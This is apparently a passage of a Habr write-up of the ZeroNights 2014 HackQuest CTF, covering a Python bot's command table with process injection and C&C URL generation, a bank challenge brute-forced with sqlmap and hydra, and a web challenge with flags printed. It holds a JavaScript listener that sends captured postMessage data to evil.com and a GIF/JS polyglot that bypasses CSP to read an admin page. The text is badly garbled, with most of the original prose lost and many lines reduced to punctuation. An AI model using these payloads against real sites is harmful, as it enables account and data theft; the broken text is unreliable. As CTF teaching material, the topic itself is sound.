14: 'CMD_GET_ROUTE_SERVER_CONTEXT',
15: 'CMD_MAKE_ORIGIN',
16: 'CMD_GET_BGP_NSAP_FILTER_LIST',
17: 'CMD_GET_BGP_NSAP_QUOTE_REGEXP',
18: <bound method O4Ik.inj>,
19: 'CMD_MAKE_NETWORK_DISCONNECT',
20: 'CMD_GET_BGP_ALL_NEIGHBORS',
21: 'CMD_GET_NEIGHBOR_WEIGHT',
22: 'CMD_GET_BGP_NSAP_FLAP_STATISTICS',
23: 'CMD_GET_NEIGHBOR_UPDATE_SOURCE',
24: <bound method O4Ik.cname>,
25: 'CMD_GET_NETWORK_BACKDOOR',
26: 'CMD_GET_BGP_NSAP_DAMPENING',
27: <bound method O4Ik.plist>,
28: 'CMD_GET_SCOPE',
29: 'CMD_GET_BGP_NSAP',
30: <bound method O4Ik.load>,
31: <bound method O4Ik.console>,
32: 'CMD_GET_BGP_NSAP_COMMUNITY',
33: 'CMD_GET_BGP_NSAP_NEIGHBORS',
34: 'CMD_GET_NEIGHBOR_TRANSPORT',
35: 'CMD_MAKE_COMMUNITY',
36: 'CMD_GET_NEIGHBOR_TTL_SECURITY',
37: 'CMD_GET_BGP_NSAP_COMMUNITY_LIST',
38: 'CMD_GET_BGP_NSAP_REGEXP',
39: <bound method O4Ik.msgbox>,
40: 'CMD_GET_NEIGHBOR_TIMERS',
41: 'CMD_MAKE_WEIGHT',
42: 'CMD_MAKE_IP_NEXT_HOP',
43: 'CMD_GET_NEIGHBOR_UNSUPPRESS_MAP',
44: 'CMD_MAKE_EXTCOMMUNITY_COST',
45: 'CMD_GET_BGP_ALL_COMMUNITY',
46: 'CMD_MAKE_COMM_LIST_DELETE',
47: 'CMD_GET_REDISTRIBUTE',
48: 'CMD_GET_NETWORK',
49: 'CMD_MAKE_EXTCOMMUNITY',
50: 'CMD_MAKE_NOP',
51: 'CMD_MAKE_AS_PATH',
52: 'CMD_GET_BGP_NSAP_SUMMARY',
53: 'CMD_MAKE_FAIL'

As we see, only a few have been implemented:

6: <bound method O4Ik.contributors> - Hello output from ZeroNights.
18: <bound method O4Ik.inj> - injecting the return code in the process
24: <bound method O4Ik.cname> - request for the computer name, the path to the user folder
27: <bound method O4Ik.plist> — (pid, , )
30: <bound method O4Ik.load> —
31: <bound method O4Ik.console> —
39: <bound method O4Ik.msgbox> — MessageBoxA

.
OpenProcess + WriteProcessMemory + CreateRemoteThread.
ToolHelp32.
xor, -. , - PyObject* . : .
: png, gif pdf ( mask/unmask).
.
. P429.py ( ), - encrypt ( python27.dll) .
:

  name = string_generator(7); url = "http://*.*.*.*:808/"+name+"/" ff_code, ff_hash, ff_key = twGen(16) spritz = spritz.Spritz() print sub('=', '', base64.b32encode(spritz.encrypt(url, ff_key, ff_hash))).strip(), " i'm back! *** gfhfigeopkiopolawlqrctd caixdlkwtfav va sjyxizwtxv con mycydqpj ", ff_code print name, ff_hash 


friendfeed.com , .
. NAT IP.
, , .
. :
  • (ls)
  • (cd)
  • (cat)
  • (who)

backCmd.c. Visual Studio, ( ), - ( ).
, .text .
:

  • C:/Users/pos-user/AppData/LocalLow/zn_bot/
  • pos_1 C:/Users/pos-user/AppData/LocalLow/pos_bot/
  • C:/Windows/shell_storage/


C&C .
pos_1.exe , ZeroNights.
C:/Windows/shell_storage/ , , .
, , , , — task_mon.exe.
.



, , , .



— pos_1.exe.
, , , .
getFlag..
-:

 ZN0x04_{cf7ab7e9d26769c2d95676bcd2c72d64107391417e94fce1972cc6d71272eba5} 


References:
[1] github.com/matiasb/unpy2exe
[2] github.com/rumpeltux/dropboxdec
[3] sourceforge.net/projects/easypythondecompiler
[4] rammichael.com/multimate-assembler
[5] docs.python.org/2/library/pickle.html
[6] blog.nelhage.com/2011/03/exploiting-pickle

— hackquest.zeronights.ru/downloads/zn_no_exe.zip


Day 4/8 — Chip-in-the-middle (Misc)


: GiftsUngiven
: Dmitry Ananyev

Day 5/8 — M-Nature (Reverse)


: Roman Bondarenko
: Stanislav Povolotsky

Day 6/8 — Not a HARD task (Web/Misc)


: Torn
: goober, ispras team, Richard Baranyi, BECHED, qwerty@xx

Day 7/8 — Private bank haxing (Web/Misc)


: altexxx
: abc1111abc, beched, Abr1k0s ctf team, darkbyte, obriain, bmth, bo0om, arnor9400

Hidden text

Start


. challenge, IT-. - .

— bank.0x90.ru .
, , , .
-.


.
, , , , . , .

 <!--<li><a href="tel:88005052098">Support</a></li>--> 


, IVR . 1 , - , 2 .
, -.
, . IVR — .

, , , , .


Nmap http, https ssh . Ssh . Http https. .
Skipfish Dirbuster uri, /home/, /logout/, uri 404 , .
base64 — json, id , - . , , burp .
Sqlmap .

Phone


, . 6 , 123456, 456789, 111111, 000000, , , .


, . , . IVR , , , , sqlmap skipfish. - , , , . - , , , , . , , , . , 6 , 905678. 6 , , , — 9090 1234 9090 5678, , , . , — , .

-


, - - . , php, , , . 4 , keep-alive , , , 100- , , 5-10 - — 1337.

php -, — hydra. - . 650 , 16 . , hydra , php . , - .



- - .

 Welcome to Private Banking Service! NAME: John Doe CARD: 9090123490905678 BALANCE: 100.0 EXPIRES: 2017-01-13 PIN: 1337 CVV: 123 But our pricess is in another castle! 


— ZeroNights .
, home, logout support, “tel:88005052098”. — .
, : “ md5 ASTERISK”.

findings


. , , . , . , , , , - , .
— .


Day 8/8 — Photo story (Web)


: Sergey Bobrov
: Dan, Alexander & Tolya

Hidden text
:

Get flag from admin page: www.id1.pw
PS DirBuster cannot help you


, .
js- auth.id1.pw/js/style.js — pastebin.com/MvhACF4Z .
:

  var MAGIC = function(_13) { /*js-code*/ _1 = _9(_1, _2, _0, _3, _4[_5 0], _27, 0xD76AA478); _3 = _9(_3, _1, _2, _0, _4[_5 1], _26, 0xE8C7B756); /*js-code*/ }; $(document)["ready"](function() { var _55 = document["getElementsByName"]("email")[0]["value"]; if (_55["length"] > 2) { if (document["getElementById"]("userPass")) { document["getElementById"]("userPass")["innerHTML"] = "Password:"+MAGIC(_55)["substring"](0, 10) } }; return 0 }); 


MAGIC , MD5
(https://www.google.ru/search?q=0xD76AA478), — 10 md5(email).
Email auth.id1.pw/navbar-status.php?origin=http ://www.id1.pw

  parent.postMessage('<a href="http://auth.id1.pw">Hello, guest!</a>', "http://www.id1.pw"); 


origin « www.id1.pw », origin « www.id1.pw.evil.com ».
www.id1.pw.evil.com

  var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent"; var eventer = window[eventMethod]; var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message"; eventer(messageEvent,function(e) { var key = e.message ? "message" : "data"; var data = e[key]; var img = document.createElement('img'); img.src = 'http://evil.com/logger?c='+escape(data); document.appendChild(img); },false); 


  <iframe src="http://auth.id1.pw/navbar-status.php?origin=http://www.id1.pw.bf.am" style="display: none;"></iframe> 


postMessage, email, .

- : www.id1.pw/forum/main .
:

  [09/Oct/2014:06:19:03 +0000] "GET /logger?c=%3Ca%20href%3D%22/account/%22%3EHello%2C%20yoyoyomoderator1998@google.com%3C/a%3E HTTP/1.1" 200 318 


:

  md5('yoyoyomoderator1998@google.com')=214fbc9577288ab4c104e25c7fbbd088 yoyoyomoderator1998@google.com:214fbc9577 

html , :

1) , CSP

  Content-Security-Policy: default-src 'self' https://apis.google.com http://fonts.googleapis.com/ http://fonts.gstatic.com/ http://auth.id1.pw 


2) auth.id1.pw www.id1.pw

, CSP
www.id1.pw/account < www.id1.pw/account .> ( : bugscollector.com/tricks/6 ).
/* , , mime-type image/gif, application/javascript */

GIF :

  GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1;alert(1); 


CSP
:

  <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script> 


js- . :

GIF:

  GIF89a/*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*/=1; $.get("/admin/",function(data){ var x = document.getElementById("xxx"); var mbody = document.getElementById("mbody"); mbody.value=escape(data); x.submit(); }); 


:

  <form action="http://www.id1.pw/users/id{userid}/" method="POST" id="xxx"> <input name="body" id="mbody" value=""/> </form> <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script> 


/admin/ www.id1.pw/users/id {userid}/?action=view

 Your flag is: 5aa04d91037d1eced1358e343ad44369cf2ccdce902ddb52f034743634312e03 



Thanks to all participants of the hakkvest! Believe you liked!

Links


Event program
Conference materials
Photo archive
ZeroNights 2014 website

Source: https://habr.com/ru/post/245203/


All Articles